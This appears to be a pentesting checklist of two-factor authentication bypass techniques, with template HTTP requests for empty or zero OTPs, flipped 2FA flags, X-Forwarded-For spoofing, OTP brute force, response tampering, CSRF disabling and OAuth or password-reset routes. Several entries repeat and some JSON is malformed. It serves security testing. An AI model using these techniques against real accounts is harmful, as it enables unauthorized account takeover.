2FA Bypass checklist

By Rhonny Sharma

Try To Send Empty OTP To Bypass 2FA

- POST /secondLogin HTTP/1.1
- Host: www.company.com
- User-Agent: Mozilla/5.0
- Content-Type: application/json
- Referer: https://previous.com/path
- Origin: https://www.company.com
- Content-Length: Number
  {"email":"me@gmail.com","pass":"****","otp":" "}

2FA Bypass checklist

By Rhonny Sharma

Try To Insert Zeros In OTP Parameter e.g. 000000 To Bypass 2FA

- POST /secondLogin HTTP/1.1
- Host: www.company.com
- User-Agent: Mozilla/5.0
- Content-Type: application/json
- Referer: https://previous.com/path
- Origin: https://www.company.com
- Content-Length: Number

  {"email":"me","pass":"****","otp":"000000"}

2FA Bypass checklist

By Rhonny Sharma

Always Notice Both Request When 2FA Is Enabled And Disabled e.g. There Is Boolean Value True If 2FA Is Enabled Try To Change It To False To Bypass 2FA

- POST /secondLogin HTTP/1.1
- Host: www.company.com
- User-Agent: Mozilla/5.0
- Content-Type: application/json
- Referer: https://previous.com/path
- Origin: https://www.company.com
- Content-Length: Number

{"email":"me","pass":"*****","2fa":false,"otp":"*****"}

2FA Bypass checklist

By Rhonny Sharma

Enable 2FA AND Try To Log In OR Remove OTP Parameter , Sometimes Enabled 2FA Doesn't Work

- POST /secondLogin HTTP/1.1
- Host: www.company.com
- User-Agent: Mozilla/5.0
- Content-Type: application/json
- Referer: https://previous.com/path
- Origin: https://www.company.com
- Content-Length: Number
  {"email":"me","pass":"****"}

2FA Bypass checklist

By Rhonny Sharma

Try To Append X-Forwarded-For Header e.g. X-Forwarded-For: 127.0.0.1 To Bypass 2FA

- POST /secondLogin HTTP/1.1
- Host: www.company.com
- X-Forwarded-For: 127.0.0.1
- User-Agent: Mozilla/5.0
- Content-Type: application/json
- Referer: https://previous.com/path
- Origin: https://www.company.com
- Content-Length: Number

  {"email":"me","pass":"****","otp":" "}

2FA Bypass checklist

By Rhonny Sharma

Try To Figure Out If The Old-OTP Is Valid OR OTP Is Fixed , If YES There Is Issue Here

- POST /secondLogin HTTP/1.1
- Host: www.company.com
- User-Agent: Mozilla/5.0
- Content-Type: application/json
- Referer: https://previous.com/path
- Origin: https://www.company.com
- Content-Length: Number
  {"email":"me","pass":"****","otp**":"OLD OTP "}**

2FA Bypass checklist

By Rhonny Sharma

Try To Brute Force The OTP To Bypass 2F

- POST /secondLogin HTTP/1.1
- Host: www.company.com
- User-Agent: Mozilla/5.0
- Content-Type: application/json
- Referer: https://previous.com/path
- Origin: https://www.company.com
- Content-Length: Number

{"email":"me","pass":"*****","otp":" FUZZ "}

2FA Bypass checklist

By Rhonny Sharma

Enter Wrong OTP Code Then Try To Manipulate The Response To Change The Response To Response Of The Correct OTP Code To Bypass 2FA

- Access-Control-Allow-Credentials: true
- HTTP/1.1 200 OK
- Access-Control-Allow-Origin: https://www.company.com
  Content-Type: application/json; charset=utf-8
- Content-Length: length
  { "code" : "correct otp" "token" : "Random String" }

2FA Bypass checklist

By Rhonny Sharma

Try To Login With OAuth , If There Is 2FA While Entering Email And Password To Bypass 2F

1 - Log In With Valid Email and Password
2 - You Will Ask About OTP
3 - Try To Log In With OAuth
4 - You Will Access Your Account Without 2FA

2FA Bypass checklist

By Rhonny Sharma

Try To Use OTP Of Another Account e.g. Your Second Account To Bypass 2FA

- POST /secondLogin HTTP/1.1
- Host: www.company.com
- User-Agent: Mozilla/5.0
- Content-Type: application/json
- Referer: https://previous.com/path
- Origin: https://www.company.com
- Content-Length: Number

{"email":"me","pass":"*****","otp":" Another account Otp"}

2FA Bypass checklist

By Rhonny Sharma

Try To Disable 2FA With CSRF e.g. Disable 2FA In Account One , Use This Request To Disable 2FA In Account Two By Using CSRF POC

- POST /secondLogin HTTP/1.1
- Host: www.company.com
- User-Agent: Mozilla/5.0
- Content-Type: application/json
- Referer: https://previous.com/path
- Origin: https://www.company.com
- Content-Length: Number

{"action:desable 2FA”}

2FA Bypass checklist

By Rhonny Sharma

Try To Use SOAP Endpoint To Bypass 2FA e.g. There Is Endpoint Accept SOAP , Try To Send SOAP Body Without OTP Code With Valid Email AND Password

- POST /secondLogin HTTP/1.1
- Host: www.company.com
- Content-Type: application/xml
- Content-Length: Number

```
<SOAP-ENV:Envelope>
 <SOAP-ENV:Body>
 <email>me</email>
  <pass>*******</pass>
 </SOAP-ENV:Body>
 </SOAP-ENV:Envelope>
```

2FA Bypass checklist

By Rhonny Sharma

Try To Sign Up , Try Use Your confirmation Link Of Email If Doesn't Expire Multiple Times To Bypass 2FA

- 1 - Sign Up With Email
- 2 - Click On Confirmation Link
- 3 - Enable 2FA
- 4 - After 24 Hours , Click Again On Confirmation Link
- 5 - Is There 2FA OR Not

2FA Bypass checklist

By Rhonny Sharma

Try to visit dashboard URL directly

- Log in with valid username ad password
- When the 2FA page come, just open a new tab and visit the dashboard url directly
- If it does't work then add Referer header in dashboard url request….

2FA Bypass checklist

By Rhonny Sharma

Try To find 2Fa code any information in Response

- Log in with valid username and Password
- Put any otp any check if any code or information leacking in Response

2FA Bypass checklist

By Rhonny Sharma

Try to search 2FA code in JS

- Check for the 2FA page source
- Extract the JS File
- Check for the code in JS

2FA Bypass checklist

By Rhonny Sharma

Bypass 2FA by Forgetten password functionality

- If any account 2FA is enable then…
- Try to reset your password via forgotten password
- If you can successfully able to reset and login then its vuln…..

2FA Bypass checklist

By Rhonny Sharma

Try To Send Empty OTP To Bypass 2F

- POST /secondLogin HTTP/1.1
- Host: www.company.com
- User-Agent: Mozilla/5.0
- Content-Type: application/json
- Referer: https://previous.com/path
- Origin: https://www.company.com
- Content-Length: Number
  {"email":"me","pass":"*****","otp":" "}

2FA Bypass checklist

By Rhonny Sharma

Try To Send Empty OTP To Bypass 2F

- POST /secondLogin HTTP/1.1
- Host: www.company.com
- User-Agent: Mozilla/5.0
- Content-Type: application/json
- Referer: https://previous.com/path
- Origin: https://www.company.com
- Content-Length: Number

{"email":"me","pass":"****","otp":" "}

2FA Bypass checklist

By Rhonny Sharma

Try To Send Empty OTP To Bypass 2F

- POST /secondLogin HTTP/1.1
- Host: www.company.com
- User-Agent: Mozilla/5.0
- Content-Type: application/json
- Referer: https://previous.com/path
- Origin: https://www.company.com
- Content-Length: Number

  {"email":"me","pass":"****","otp":" "}